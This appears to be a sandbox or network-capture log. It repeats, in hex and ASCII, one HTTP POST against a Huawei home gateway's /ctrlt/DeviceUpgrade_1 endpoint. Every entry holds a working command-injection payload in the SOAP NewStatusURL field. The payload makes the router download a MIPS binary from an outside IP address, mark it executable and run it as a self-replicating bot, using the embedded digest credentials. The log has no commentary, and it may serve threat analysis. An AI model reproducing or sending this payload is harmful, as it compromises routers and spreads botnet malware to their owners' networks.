Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
